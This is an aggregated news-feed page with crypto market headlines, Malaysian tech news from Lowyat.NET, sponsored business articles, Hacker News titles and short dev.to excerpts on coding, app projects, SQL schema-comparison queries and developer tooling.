    The deal would rename Sinsiway as Parataxis ETH, Inc. and make it South Korea's first ether-focused treasury platform backed by U.S. institutional capital.  ( 32 min )
    Spot XRP ETFs Outpace Market With 12-Day Inflow Streak Nearing $1B Mark
    The sustained accumulation of capital by spot XRP ETFs is establishing XRP as the fastest-growing major crypto-asset vehicle.  ( 32 min )
    Uneasy Stability: Crypto Daybook Americas
    Your day-ahead look for Dec. 3, 2025  ( 37 min )
    Crypto Markets Today: Bitcoin Reclaims $93K as Altcoins Stage Rebound
    A broad rally lifted major tokens on Wednesday, with bitcoin and ether bouncing and the majority of altcoins surging, even as ZEC extended a weekly slide.  ( 34 min )
    UK Passes Law Formally Recognizing Crypto as Property
    The Property (Digital Assets etc) Act received Royal Assent on Tuesday, the final step of an act becoming law after being passed by the U.K. Parliament.  ( 31 min )
    Strategy Faces Possible MSCI Index Removal, Threatening Billions in Outflows: Reuters
    A removal could lead to outflows of up to $8.8 billion if other index providers follow suit because the stock is part of many passive investment products.  ( 32 min )
    Babylon’s Trustless Vaults to Add Native Bitcoin-Backed Lending Through Aave
    Babylon is also planning to introduce Bitcoin-backed DeFi insurance, letting BTC holders earn yield while underwriting risk against hacks and exploits.  ( 32 min )
    Taiwan Authorities Say Island's First Regulated Stablecoin Will Debut Next Year
    Regulators have not decided whether the token will be tied to the Taiwan dollar or the U.S. dollar, a choice that will determine how deeply it tests the island’s currency controls.  ( 32 min )
    BlackRock's Spot Bitcoin ETF Secures U.S. Top 10 Ranking With 7.7M Active Contracts
    IBIT options are the ninth largest in the U.S.  ( 33 min )
    Yi He, Arguably Crypto's Most Powerful Woman, Becomes Binance’s New Co-CEO
    The new leadership role was announced by the current Binance CEO Richard Teng at Binance Blockchain Week in Dubai.  ( 32 min )
    This Bitcoin-Led, Institutionally Anchored Cycle Shows the Three-Month Drop Isn’t a Winter: Glassnode
    Glassnode and Fasanara’s year-end report shows record inflows, rising realized cap, and falling volatility, suggesting the latest pullback is a mid-cycle reset rather than the start of a long downturn. Present market dynamics point to a mid-cycle pullback rather than a full-blown crypto winter, Glassnode and Fasanara argued.  ( 33 min )
    Dogecoin Posts Strongest Move in Weeks. Is $0.15 the Next Target?
    Key resistance levels were tested, with momentum indicators supporting continued bullish movement.  ( 33 min )
    $6.5K Ether Bets Dominate Deribit Open Interest
    The $6,500 call option on Deribit is the most popular, with a notional open interest of over $380 million.  ( 31 min )
    SOL, ADA, XRP Zoom 12% as Bitcoin Bounces Above $93K. But Will The Rally Last?
    The recovery followed a washout in derivatives markets, where roughly $457 million in short positions were liquidated in the past 24 hours.  ( 33 min )
    XRP Surges 8% as Ascending Triangle and Bullish RSI Cross Trigger Fresh Rally
    XRP Ledger network activity surged to multi-year highs, with 40,000 account set operations  ( 32 min )
    Ether 'Bear Trap' Confirmed as Bitcoin Probes Friday High, XRP Eyes $2.30 Hurdle
    Ether looks north after a confirmed bear trap.  ( 32 min )
    CNN to Use Kalshi Prediction Markets Across Its News Coverage
    The deal brings market-implied probabilities into CNN’s newsroom and introduces a Kalshi-powered ticker for segments that rely on event contracts.  ( 31 min )
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    This Galaxy A17 Feature Might Just Make You The Best-Posing One This Festive Season
    The holiday season is almost upon us, which means it’s time to pull out your flashiest outfits and put your best foot forward. And if you’re not quite sure how to do that, the Galaxy A17 has you covered! Not only is it a handy device for everyday use, but it also becomes a handy […] The post This Galaxy A17 Feature Might Just Make You The Best-Posing One This Festive Season appeared first on Lowyat.NET.  ( 38 min )
    MCMC: 957 Cases Of Harmful Child-Related Content On Social Media Flagged This Year
    The Malaysian Communications and Multimedia Commission (MCMC) says child protection remains central to its mandate after identifying 957 cases involving child-related harmful content between 1 January 2024 and 30 November this year. According to the commission, platforms removed 899 of these cases (a 94% compliance rate) with social media platforms including Tumblr, TikTok and Facebook […] The post MCMC: 957 Cases Of Harmful Child-Related Content On Social Media Flagged This Year appeared first on Lowyat.NET.  ( 35 min )
    Malaysia To Take Delivery Of First ECRL Trains By End Of December
    Malaysia is expected to receive the first shipment of trains for the East Coast Rail Link  (ECRL) project by the end of December this year. The trains will comprise two Electric Multiple Units (EMU) for passengers, along with two electric locomotives (E-loco) for freights, and are expected to arrive at Kuantan Port. “The first set […] The post Malaysia To Take Delivery Of First ECRL Trains By End Of December appeared first on Lowyat.NET.  ( 34 min )
    Nubia Flip3 Launches In Japan; Features 4-Inch Cover Screen
    In addition to the Nubia Fold, the brand also launched the third generation clamshell foldable, the Flip3. It should come as no surprise that the cover screen here this time around is a lot larger. Large enough to cover the whole top half of the phone, in fact. Specifically, the Nubia Flip3 now features a […] The post Nubia Flip3 Launches In Japan; Features 4-Inch Cover Screen appeared first on Lowyat.NET.  ( 34 min )
    Grab Expands Mobility Access With GrabAssist Service
    Grab Malaysia has unveiled GrabAssist, its new dedicated service for passengers requiring mobility support and accessibility assistance, including Persons with Disabilities (PWDs), senior citizens, as well as individuals using personal mobility aids. This service aims to provide an accessible transport option for an underserved market. GrabAssist involves a collaboration with NGOs such as MFD and […] The post Grab Expands Mobility Access With GrabAssist Service appeared first on Lowyat.NET.  ( 35 min )
    Nubia Fold Goes Official In Japan Following A Few Flip Entries
    Nubia has had multiple clamshell-type foldables now in its Flip series of phones. But it has only recently released its first book-style foldable, dubbed simply the Fold. GSMArena found the phone on a listing by Japanese telco Y!mobile, complete with its spec sheet and price for said market. The Nubia Fold features an 8-inch 2,480 […] The post Nubia Fold Goes Official In Japan Following A Few Flip Entries appeared first on Lowyat.NET.  ( 34 min )
    Valve’s Next Step: Steam On Mobile, Other ARM Devices
    When Valve revealed the Steam Machine and Steam Frame last month, it willingly opened itself up to a slew of questions, with one standing out above the tide: Steam emulation on ARM-based devices, as was quietly demonstrated with the Frame. In an interview with The Verge, Pierre-Loup Griffais, one of the architects behind SteamOS and […] The post Valve’s Next Step: Steam On Mobile, Other ARM Devices appeared first on Lowyat.NET.  ( 36 min )
    No Second Screen For DJI Osmo Pocket 4, Says Leakster
    At this point, much has already been said about the upcoming DJI Osmo Pocket 4. The rumour mill has been churning out detail after detail on the yet-to-be-released vlogging camera, from a dual-sensor setup to the supposed presence of a second screen. Now, a new leak claims that some of the previously revealed information may […] The post No Second Screen For DJI Osmo Pocket 4, Says Leakster appeared first on Lowyat.NET.  ( 34 min )
    Missed Lease Payments Can Lead To Perodua QV-E Being Unable To Start
    Perodua launched its first EV, the peculiarly named QV-E, with an equally odd battery leasing plan. With the launch, the national carmaker has released a product disclosure sheet for said car and its accompanying battery leasing plan. And from it, we now know more about what it entails. If you need a refresher, the leasing […] The post Missed Lease Payments Can Lead To Perodua QV-E Being Unable To Start appeared first on Lowyat.NET.  ( 35 min )
    Newly Unveiled Sony Alpha 7 V Arriving In Malaysia By Mid-December 2025
    Sony has officially introduced the Alpha 7 V, the fifth-generation model in its popular full-frame mirrorless lineup. The new camera is promised to deliver improvements across autofocus, colour accuracy, still image performance, and video capture. The Alpha 7 V features a partially stacked 33MP Exmor RS CMOS sensor and the updated BIONZ XR2 image processor, […] The post Newly Unveiled Sony Alpha 7 V Arriving In Malaysia By Mid-December 2025 appeared first on Lowyat.NET.  ( 37 min )
    Circle To Search Can Now Spot Scam Messages
    Malicious actors continue to adopt increasingly advanced tactics, making it more and more difficult to identify scams over the years. Now, Google is looking to address the issue by introducing a scam detection feature to its Circle to Search tool. To use the new capability, the user only has to activate Circle to Search and […] The post Circle To Search Can Now Spot Scam Messages appeared first on Lowyat.NET.  ( 34 min )
    JBL BandBox Solo And Trio Arriving This Month; Starts From RM1,499
    JBL is officially bringing its BandBox Solo and Trio speakers to Malaysia. The AI-powered speakers are designed specifically for musicians and their instruments. “JBL BandBox Solo is engineered for individual players who want to both simplify and level-up their practice setup without sacrificing sound quality or creative control. Despite its compact size, Solo is a […] The post JBL BandBox Solo And Trio Arriving This Month; Starts From RM1,499 appeared first on Lowyat.NET.  ( 35 min )
    Helldivers 2 Beta Liberates PC Installation Size By 85%
    On top of spreading democracy across the galaxy, Helldivers 2 players on PC may also soon liberate a hefty amount of storage space. The game’s latest technical public beta on Steam includes a major optimisation update that drastically reduces its installation size, shrinking its installation by a significant 85%! In a post on the game’s […] The post Helldivers 2 Beta Liberates PC Installation Size By 85% appeared first on Lowyat.NET.  ( 35 min )
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    Tariff turbulence exposes costly blind spots in supply chains and AI
    Presented by Celonis When tariff rates change overnight, companies have 48 hours to model alternatives and act before competitors secure the best options. At Celosphere 2025 in Munich, enterprises demonstrated how they’re turning that chaos into competitive advantage — with quantifiable results that separate winners from losers. Vinmar International: Theglobal plastics and chemicals distributor created a real-time digital twin of its $3B supply chain, cutting default expedites by more than 20% and improving delivery agility across global operations. Florida Crystals: One of America's largest cane sugar producers, the company unlocked millions in working capital and strengthened supply chain resilience by eliminating manual rework across Finance, Procurement, and Inbound Supply. AI pilots …
    AI has redefined the talent game. Here’s how leaders are responding.
    Presented by Indeed As AI continues to reshape how we work, organizations are rethinking what skills they need, how they hire, and how they retain talent. According to Indeed’s 2025 Tech Talent report, tech job postings are still down more than 30% from pre-pandemic highs, yet demand for AI expertise has never been greater. New roles are emerging almost overnight, from prompt engineers to AI operations managers, and leaders are under growing pressure to close skill gaps while supporting their teams through change. Shibani Ahuja, SVP of enterprise IT strategy at Salesforce; Matt Candy, global managing partner of generative AI strategy and transformation at IBM; and Jessica Hardeman, global head of attraction and engagement at Indeed came together for a recent roundtable conversation about…

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    DOOM could have had PC Speaker Music
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    Exploring Large HTML Documents on the Web
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    AI generated font using nano banana
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    EmacsConf 2025
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    Ecosia: The greenest AI is here
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    Delty (YC X25) Is Hiring
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    Paged Out
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    Free static site generator for small restaurants and cafes
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    Claude 4.5 Opus’ Soul Document
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    Claude 4.5 Opus' Soul Document
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    Amazon launches Trainium3
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    Cursed circuits: charge pump voltage halver
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    IBM CEO says there is 'no way' spending on AI data centers will pay off
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    Bun has been acquired by Anthropic
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    Anthropic Acquires Bun
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    100000 TPS over a billion rows: the unreasonable effectiveness of SQLite
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    School Cell Phone Bans and Student Achievement (NBER Digest)
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    The Junior Hiring Crisis
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    Progress on TypeScript 7 – December 2025
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    Apple to beat Samsung in smartphone shipments for first time in 14 years
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    API GitHub Meta
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    Poka Labs (YC S24) Is Hiring a Founding Engineer
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    Memtest86+ v8.00 Released
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    Comments  ( 16 min )
    Fallout 2's Chris Avellone describes his game design philosophy
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    Is 2026 Next Year?
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    Show HN: RunMat – runtime with auto CPU/GPU routing for dense math
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    Mistral 3 family of models released
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    OpenAI declares 'code red' as Google catches up in AI race
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    Show HN: Marmot – Single-binary data catalog (no Kafka, no Elasticsearch)
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    Nixtml: Static website and blog generator written in Nix
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    Zig's new plan for asynchronous programs
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    Proximity to coworkers increases long-run development, lowers short-term output
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    Gary Tan claims Zoho will be out of business due to vibe coding
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    Python Data Science Handbook
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    Lazier Binary Decision Diagrams for set-theoretic types
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    A series of vignettes from my childhood and early career
    Comments  ( 7 min )
    Addressing the adding situation
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    Man unexpectedly cured of HIV after stem cell transplant
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    Advent of Compiler Optimisations 2025
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    Comparing AWS Lambda ARM64 vs. x86_64 Performance Across Runtimes in Late 2025
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    How Brian Eno Created Ambient 1: Music for Airports (2019)
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    Rootless Pings in Rust
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    Beej's Guide to C Programming
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    Why Replicate is joining Cloudflare
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    Frequently Asked Unicycling Questions
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    Apple Releases Open Weights Video Model
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    Beej's Guide to Learning Computer Science
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    Decreasing Certificate Lifetimes to 45 Days
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    What will enter the public domain in 2026?
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    Reverse math shows why hard problems are hard
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    Netherlands to start taxing unrealized capital gains yearly from 2028
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    After Windows Update, Password icon invisible, click where it used to be
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    Notes on Bhutan
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    US air travelers without REAL IDs will be charged a $45 fee
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    Around The World, Part 27: Planting trees
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  • Open

    🚀 UI/UX Preview from a Recently Delivered Client Mobile App Project
    Building a real-world client application is more than just writing code—it's about creating smooth, clean, reliable user experiences that scale in production. In this post, I'm sharing selected UI/UX previews from a recently delivered mobile app project, built completely from scratch with Flutter and Supabase. Clean Design, Flutter Implementation, and a Production-Ready User Experience I recently completed a client project where I designed and developed a production-ready mobile application tailored for job placement and talent management workflows. To respect confidentiality and protect core business logic, I’m sharing only selected UI/UX mockups and visual screens from the project. These previews highlight the design system, visual hierarchy, and real-world usability that guided the deve…  ( 7 min )
    Coding Challenge Practice - Question 69
    The task is to create a function to return the n-th number string in a sequence. n starts from 1. The boilerplate code function getNthNum(n) { // your code here } Start with the first number if(n === 1) return "1"; To get the next number, describe the digits of the previous ones. Count how many times the same digits appear one after the other. When it changes to a new digit, write the count down and the digit being counted. let result = "1"; for (let i = 2; i <= n; i++) { let current = ""; let count = 1; for (let j = 1; j <= result.length; j++) { if (result[j] === result[j - 1]) { count++; } else { current += count.toString() + result[j - 1]; count = 1; } } result = current; } After repeating the process n times, return the final string. return result The final code: function getNthNum(n) { // your code here if(n === 1) return "1"; let result = "1"; for(let i = 2; i <= n; i++) { let current = ""; let count = 1; for(let j = 1; j <= result.length; j++) { if(result[j] === result[j - 1]) { count++ } else { current += count.toString() + result[j - 1]; count = 1; } } result = current; } return result; } That's all folks!  ( 6 min )
    My Project 4: Movie Search App (with Python + Streamlit)
    🎬 Building a Movie Search App with Python + Streamlit (Using OMDb API) OMDb API is perfect for this — free, fast, and provides detailed movie information. This project includes two versions: Console Version (movie_app.py) Streamlit Web Version (movie_app_streamlit.py) 🧱 1. Project Overview The Movie Search App allows you to: Enter a movie title Fetch detailed movie information View poster, genre, plot, and rating Use either console or Streamlit web interface 📂 Project Structure movie_app/ │ ├── movie_app.py # Console version ├── movie_app_streamlit.py # Streamlit version └── README.md # (optional) 🌐 2. API Used: OMDb API 🖥️ 3. Console Version (movie_app.py) Key Features: Fetch movie data using requests Handles invalid titles gracefully Disp…  ( 7 min )
    What most devs forget when launching (and regret later)
    Most developers spend weeks or months building something, then rush through the launch in a single afternoon. They tweet about it, post on a few forums, and then wonder why nobody shows up. The product is solid, but everything around it is an afterthought. I've done this myself. I've also watched dozens of other developers make the same mistakes. Here's what gets forgotten most often. You launch. Something breaks. A user hits the bug, gets frustrated, and leaves. You have no idea this happened because there's no error tracking, no feedback widget, nothing. You find out three weeks later when someone finally emails you. Set up error monitoring before you launch. Sentry takes maybe 20 minutes to integrate and will save you from silent failures. But error tracking only catches crashes. It doe…  ( 8 min )
    Simplicity Is a Feature: Build Faster, Scale Smarter
    The best products I’ve shipped across WordPress, Shopify, Webflow and React had one consistent pattern: clarity always beats complexity. When you strip away unnecessary layers, everything moves faster. Teams iterate with confidence, bugs drop, and the product becomes easier to scale and maintain. Simplicity isn’t about limiting ideas it’s about creating a foundation where good engineering, clean architecture, and meaningful features can actually thrive.  ( 6 min )
    Future-Ready Fulfillment Systems: A New Approach to Resilient, Flexible, and Scalable Logistics
    The last decade has pushed e-commerce, retail, and manufacturing industries into an era of rapid transformation. Customer expectations have shifted dramatically, global supply chains have become more fragile, and the pressure for speed and accuracy has never been higher. As competition intensifies and operational costs rise, businesses are realizing that traditional fulfillment methods can no longer support the pace of modern demand. This is where the idea of a future-ready fulfillment system emerges — not just as a technical upgrade, but as a new operational philosophy. Being “future-ready” no longer means simply shipping orders faster. It means building a fulfillment structure that can absorb disruptions, scale instantly, operate with data-driven clarity, and remain stable in unpredictab…  ( 8 min )
    Building a Cost-Effective AutoML Platform on AWS: $10-25/month vs $150+ for SageMaker Endpoints
    TL;DR: I built a serverless AutoML platform that trains ML models for ~$10-25/month. Upload CSV, select target column, get a trained model. No ML expertise required. To deploy this project yourself, you'll need: AWS Account with admin access AWS CLI v2 configured (aws configure) Terraform >= 1.5 Docker installed and running Node.js 18+ and pnpm (for frontend) Python 3.11+ (for local development) ⏱️ Deployment time: ~15 minutes from clone to working platform AWS SageMaker Autopilot is powerful but expensive for prototyping. While training has a free tier (50 hours/month for 2 months), the real cost comes from real-time inference endpoints: a single ml.c5.xlarge endpoint costs ~$150/month running 24/7. I needed something simpler and cheaper for side projects. Goals: Upload CSV → Get trained …  ( 9 min )
    From 40% to 100% SQL Generation Accuracy: Why Local AI Needs Self-Correction, Not Perfect Prompts
    I spent 12 hours fighting a local AI model to generate valid SQL queries. My success rate went from 40% to 100%, not by prompt engineering, but by teaching the model to learn from its own mistakes. TL;DR: • Self-correction loops beat perfect-first-time approaches for local AI Building a Retail Analytics Copilot that runs entirely on a laptop (using a quantized 24B model) sounds great for privacy, but it's a nightmare for reliability. Unlike GPTs, which follows instructions like a senior engineer, local models are like enthusiastic interns: they try hard, but they hallucinate syntax, forget schema details, and love to chat when they should be coding. My initial baseline was dismal: only 40% of generated SQL queries actually executed. The rest were plagued by syntax errors, hallucinated co…  ( 9 min )
    Setup Expo Build Environment on WSL2 (Without Android Studio nor Paying Expo Credits)
    🔍 Why Even Build Locally? 1️⃣ Expo Cloud Builds cost money Expo gives a small free quota. After that, you pay per build — which is fine for production, but not for rapid iteration or testing. Local builds = unlimited free builds. Android Studio is huge and unnecessary A full Android Studio install includes: IDE Emulators GUI tools Extras you don’t need for CI-style builds You only need the command-line SDK, build-tools, platform-tools, and NDK. My setup installs only what is required, trimming the install from 30 GB → ~3 GB. Full Setup Guide (WSL2 Ubuntu 24.04) ✔ Works for Expo, React Native CLI, EAS Build 1) Base Dependencies sudo apt update sudo apt install -y build-essential git unzip zip curl wget ca-certificates openjdk-17-jdk 2) Node 20.19.4 (matches Expo CI)…  ( 8 min )
    How I Built a Semantic Search Engine with CocoIndex
    Introduction In this tutorial, I'll walk you through how I built a semantic search engine using CocoIndex, an open-source Python library for creating powerful search experiences. If you've ever wanted to build a search feature that understands context and meaning (not just exact keyword matches), this post is for you! CocoIndex is a lightweight semantic search library that makes it easy to index and search through documents using vector embeddings. Unlike traditional keyword-based search, semantic search understands the meaning behind queries, allowing users to find relevant results even when they use different words. I needed a search solution that was: Easy to integrate - No complex setup or infrastructure required Fast - Quick indexing and search performance Semantic - Understanding c…  ( 8 min )
    Game development with SpecKit, Rust and Bevy
    brkrs — a fun, playable brick-breaker game & learning playground brkrs is a real, playable Breakout/Arkanoid-style game written in Rust 🦀 using the Bevy engine. hands-on learning project, letting you explore: Spec-first development with GitHub speckit Incremental feature development through issues & PRs AI-assisted and agentic coding experiments Every feature starts as a spec, flows through an issue or PR, and ends as working Rust code. You can play the game, explore the code, and learn modern Rust/Bevy workflows all at the same time. Linus Torvalds said: “Talk is cheap. Show me the code.” brkrs lets you play, tinker, and see the specs come alive in a real game. I always wanted to rewrite my old Arkanoid/Breakout-style game, YaAC 🐧, in a modern game framework. I began by manually impl…  ( 7 min )
    Football pitch reservation app built with Next.js, Shadcn UI, Prisma, and Better Auth
    The modern platform for booking football pitches. Manage venues, track revenue, and book matches seamlessly. Live Demo: https://footbookr.vercel.app/ https://github.com/saidMounaim/footbookr Real-time Availability: Browse pitches and see live slot availability. Smart Booking: Filter by 5-a-side vs 7-a-side, date, and time. Digital Tickets: QR Code generation for seamless check-in at the venue. User Dashboard: Manage upcoming matches and view booking history. Social Login: One-click sign-in with Google or Email. Analytics Dashboard: Visual revenue charts, occupancy heatmaps, and KPI cards. Venue Management: Add or delete pitches with image uploads. Booking Control: View all reservations, cancel bookings, and manage schedules. User Management: View user stats and manage permissions. Framework: Next.js 16 (App Router, Server Components, Server Actions, Data Access Layer) Language: TypeScript Styling: Tailwind CSS Components: Shadcn UI (Radix UI) Database: PostgreSQL (via Prisma ORM) Authentication: BetterAuth Charts: Recharts / Shadcn Charts Icons: Lucide React Utilities: date-fns (Time), zod (Validation), react-hook-form (Forms)  ( 6 min )
    AWS re:Invent 2025 – Matt Garman’s Keynote: A Builder’s Breakdown
    Day 1 at AWS re:Invent 2025 kicked off with Matt Garman’s first keynote as CEO of AWS — and the message was unmistakable: This is the AI era, and AWS is building the full stack for it. Matt structured the entire keynote around four core areas: AI Infrastructure Inference Platform Your Data Tools to Build Agents And what I loved most: after each major section, AWS brought customers on stage to share real implementations — not just theory. Sony, Adobe, and Writer all walked through how they’re building on top of these new capabilities, grounding the announcements in reality. Here’s my full breakdown. 1. AI Infrastructure: The Foundation for What Comes Next Matt opened with a thoughtful shoutout to AWS Heroes, Community Builders, and User Group Leaders, calling them the builders shaping the…  ( 8 min )
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    -- Declare variables for schema UIDs (run once) DECLARE @uid1 int, @uid2 int SELECT @uid1 = uid FROM sysusers WHERE name = 'GLOBAL_COMET_US_1' SELECT @uid2 = uid FROM sysusers WHERE name = 'GLOBAL_COMET_US_2' -- Query: Tables only in US_1 SELECT 'ONLY_IN_US_1' AS location, t1.name AS table_name FROM sysobjects t1 LEFT JOIN sysobjects t2 ON t1.name = t2.name AND t2.uid = @uid2 AND t2.type = 'U' WHERE t1.uid = @uid1 AND t1.type = 'U' AND t2.id IS NULL UNION ALL -- Query: Tables only in US_2 SELECT 'ONLY_IN_US_2' AS location, t2.name AS table_name FROM sysobjects t2 LEFT JOIN sysobjects t1 ON t2.name = t1.name AND t1.uid = @uid1 AND t1.type = 'U' WHERE t2.uid = @uid2 AND t2.type = 'U' AND t1.id IS NULL ORDER BY 1, 2;  ( 6 min )
    I built a Zero-Code Data Analyst
    The Problem: I love Python for data analysis, but I hate writing matplotlib boilerplate just to see a simple trend. I also didn't want the overhead of a full React frontend for a simple dashboard. The Solution: I built Morph-AI-Era, a monolithic app using: FastAPI (Backend): Handles CSV parsing (Pandas) and AI Forecasting (Scikit-learn). Vanilla JS + Plotly (Frontend): Fetches JSON and renders charts instantly. Supabase: For Auth and Credits. How it works: User drags CSV. FastAPI cleans NaN values and detects date columns. Frontend renders interactive Scatter/Line charts via Plotly. Bonus: I added a "Viral PDF" generator using html2canvas. The Result: A dashboard that feels like a SPA but runs on a simple Python backend. It handles 100k+ rows in the browser without lag. Try it out: I’m looking for feedback on the forecasting logic. You can test it here (10 Free Credits for new accounts): https://www.morph-ai-era.online Let me know if you want to see the source code for the "Forecast" endpoint! python #fastapi #webdev #showdev  ( 6 min )
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    -- First get the user IDs once (optional, for readability) DECLARE @uid1 int, @uid2 int SELECT @uid1 = uid FROM sysusers WHERE name = 'GLOBAL_COMET_US_1' SELECT @uid2 = uid FROM sysusers WHERE name = 'GLOBAL_COMET_US_2' SELECT 'ONLY_IN_US_1' AS location, t1.tabname FROM sysobjects t1 LEFT JOIN sysobjects t2 ON t1.tabname = t2.tabname AND t2.uid = @uid2 AND t2.type = 'U' WHERE t1.uid = @uid1 AND t1.type = 'U' AND t2.id IS NULL UNION ALL SELECT 'ONLY_IN_US_2' AS location, t2.tabname FROM sysobjects t2 LEFT JOIN sysobjects t1 ON t2.tabname = t1.tabname AND t1.uid = @uid1 AND t1.type = 'U' WHERE t2.uid = @uid2 AND t2.type = 'U' AND t1.id IS NULL ORDER BY 1, 2  ( 6 min )
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    SELECT 'ONLY_IN_US_1' AS location, t1.table_name FROM dba_tables t1 LEFT JOIN dba_tables t2 ON t1.table_name = t2.table_name AND t2.owner = 'GLOBAL_COMET_US_2' WHERE t1.owner = 'GLOBAL_COMET_US_1' AND t2.table_name IS NULL UNION ALL SELECT 'ONLY_IN_US_2' AS location, t2.table_name FROM dba_tables t2 LEFT JOIN dba_tables t1 ON t2.table_name = t1.table_name AND t1.owner = 'GLOBAL_COMET_US_1' WHERE t2.owner = 'GLOBAL_COMET_US_2' AND t1.table_name IS NULL ORDER BY location, table_name;  ( 6 min )
    Atomic Design: Building Interfaces Like Nature Builds Life
    Introduction Atomic Design is not just a design philosophy—it’s a way of thinking about components as living organisms that grow from simple building blocks into complex, interactive systems. The Five Levels of Atomic Design Atoms: The smallest building blocks—buttons, inputs, labels, colors, and typography. Molecules: Combinations of atoms that form functional units, like a search bar (input + button). Organisms: Larger sections of the interface, such as a navigation bar or product card grid. Templates: Page-level wireframes that define layout and structure without specific content. Pages: Realized templates filled with actual data and content, representing the final user-facing product. This hierarchy mirrors nature: atoms form molecules, molecules form organisms, and organisms create living systems. Why Atomic Design Matters in Frontend Scalability: Large projects remain manageable by breaking them into reusable parts. Consistency: UI elements behave uniformly across the application. Collaboration: Designers and developers share a common vocabulary. Efficiency: Reusable atoms and molecules accelerate development. Maintainability: Changes ripple predictably through the hierarchy. Example: React Project with Atomic Design Structure Atoms: Button, Input, Typography Molecules: SearchBar, ProductCard Organisms: Header, Footer, ProductGrid Templates: HomeTemplate, ProductTemplate Pages: Actual routes like / and /product/[id] This structure ensures that every piece of UI is reusable, testable, and easy to maintain. For example, if you redesign the Button atom, the change propagates across all molecules and organisms that use it. Conclusion Atomic Design is more than a methodology—it’s a philosophy of growth, reminding us that even the most complex systems begin with the smallest building blocks.  ( 7 min )
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    SELECT CASE WHEN t1.table_name IS NOT NULL AND t2.table_name IS NULL THEN 'ONLY_IN_US_1' WHEN t2.table_name IS NOT NULL AND t1.table_name IS NULL THEN 'ONLY_IN_US_2' END AS location, COALESCE(t1.table_name, t2.table_name) AS table_name FROM dba_tables t1 FULL OUTER JOIN dba_tables t2 ON t1.table_name = t2.table_name AND t1.owner = 'GLOBAL_COMET_US_1' AND t2.owner = 'GLOBAL_COMET_US_2' WHERE (t1.owner = 'GLOBAL_COMET_US_1' OR t1.owner IS NULL) AND (t2.owner = 'GLOBAL_COMET_US_2' OR t2.owner IS NULL) AND ( (t1.table_name IS NOT NULL AND t2.table_name IS NULL) OR (t2.table_name IS NOT NULL AND t1.table_name IS NULL) ) ORDER BY location, table_name;  ( 6 min )
    [Boost]
    Segurança em Smart Contracts (2025): A Evolução dos Ataques e a Nova Fronteira da Defesa Adriano P. Araujo ・ Dec 2  ( 6 min )
    Why Semantic Search Matters... especially in Barbados!
    How Semantic Search Finds Products That Keywords Miss I've been building this product search engine for Barbados called "Yuh Gettin' Tru?" (Bajan for "Are you finding what you need?"), and I wanted to share something that perfectly illustrates why semantic search matters. I was testing the site against a local home store called Dwellings. They sell all sorts of home goods - furniture, kitchenware, decor. I searched for "hardwood cutting board" on their website and got... nothing. Zero results. Now, here's the thing. They absolutely do sell hardwood cutting boards. They have these lovely acacia wood boards with handles. But their product database doesn't call them "hardwood cutting boards" - it calls them "Acacia Cutting Board with Handle". Traditional keyword search sees "hardwood" and …  ( 8 min )
    Building "6 Degrees of Kevin Bacon" with a Graph-Native Backend: Why I Created FLXBL
    TL;DR: After years of wrestling with recursive CTEs, junction tables, and the existential dread of N+1 queries, I built a graph-native Backend-as-a-Service called FLXBL. To prove it actually works (and isn't just vaporware from a sleep-deprived developer), I built a mock movie discovery platform that finds the shortest path between any two actors. Here's what I learned—and why you might want to ditch your relational database for relationship-heavy applications. Have you ever played the Six Degrees of Kevin Bacon game? The premise is beautifully simple: any actor in Hollywood can be connected to Kevin Bacon through their film appearances in six steps or fewer. Tom Hanks was in Apollo 13 with Kevin Bacon—that's one degree. Meryl Streep was in The River Wild with Kevin Bacon—also one degree.…  ( 15 min )
    The Limits of Spec-Driven Development
    In the 1990s, developers wrote long functional specifications before coding. By 2010, agile replaced the idea that you should define everything upfront. Today, as AI coding struggle with quality, the old playbook is returning: writing detailed specs in hopes of getting reliable outcomes. On paper, spec-driven development (SDD) feels like the perfect solution: write a detailed spec first, then let the model generate “correct” code from it. But reality hits hard. Just like the pattern we have seen before: when we try to “solve unpredictability” by writing more things down upfront, the development fails, and always for the same reason — Reality changes faster than specs do. What Is Spec-Driven Development? Spec-driven development (SDD) is the practice of writing detailed upfront specifica…  ( 9 min )
    Galactic Genesis: Can Neural Nets Unravel the Secrets of Galaxy Formation?
    Galactic Genesis: Can Neural Nets Unravel the Secrets of Galaxy Formation? Imagine trying to model the Earth's climate, but you only have the computing power to simulate individual raindrops. That's the challenge astrophysicists face when trying to simulate how galaxies form, a problem rife with vast differences in scales. Current models often rely on educated guesses for the behavior of supermassive black holes, the engines driving galactic evolution, leading to inaccuracies and missed nuances. But what if we could train an AI to "fill in the gaps"? Enter neural operators, a cutting-edge machine learning technique designed to learn and approximate complex mathematical functions. Instead of crunching every single interaction, a neural operator learns the underlying physics of a system at…  ( 7 min )
    Understanding Artificial Intelligence: Agentic AI vs LLM
    Aren't sure what sets agentic ai apart from large language models? Find out how they differ -see where one follows commands whie the other takes initiative. One handles step by step jobs withou help, whereas the other boosts output by generating text fast. Real examples show one planning actions like a helper; meanwhile the other aids workers by drafting messages or reports instantly Image: An LLM - As a simple chatbot handling users query and below An Advanced Agentic AI system independtly executing different tasks ( posting on social media pages, drafting and responding to email messages). I. Introduction We are seeing a key change in artificial intelligence- now its not just about understanding or creating words, but actually doing tasks on its own. Whats driving this ? its comea down…  ( 12 min )
    Por que o plano de carreira virou exceção, e como isso afeta a entrada de novos profissionais no mercado
    O mercado de TI passou por transformações profundas nos últimos anos. Uma das mais evidentes é a dificuldade crescente que profissionais em início de carreira têm enfrentado para conseguir sua primeira oportunidade. Isso não acontece de forma isolada; existe um conjunto de fatores que explica por que as empresas estão mais resistentes em contratar e desenvolver novos talentos. A permanência nas empresas mudou Durante muito tempo era comum que pessoas construíssem grande parte da sua trajetória profissional em um único lugar. Hoje, essa realidade mudou completamente. Profissionais permanecem cada vez menos tempo em uma empresa; existe uma tendência dos profissionais buscarem uma nova oportunidade em até três anos; entre os mais jovens esse período costuma não chegar a um ano. Para as empr…  ( 9 min )
    TestRail vs TestLink: A Performance and Cost Analysis
    Abstract Choosing the right test management tool can make or break your QA process. This comprehensive analysis examines TestRail (the leading commercial solution) and TestLink (the veteran open-source alternative) through empirical testing, focusing on Developer Experience (DX), API Performance, Total Cost of Ownership (TCO), and real-world integration scenarios. Spoiler alert: TestLink's performance deficiencies and integration complexity often negate the benefit of its "free" license for most modern development teams. Introduction The Test Management Landscape API Performance Analysis Developer Experience Comparison Total Cost of Ownership Feature-by-Feature Comparison Real-World CI/CD Integration When to Choose Each Tool Conclusions In the world of software quality assurance, test ma…  ( 12 min )
    I built a React Next.js converter that handles 80–90 percent of the migration
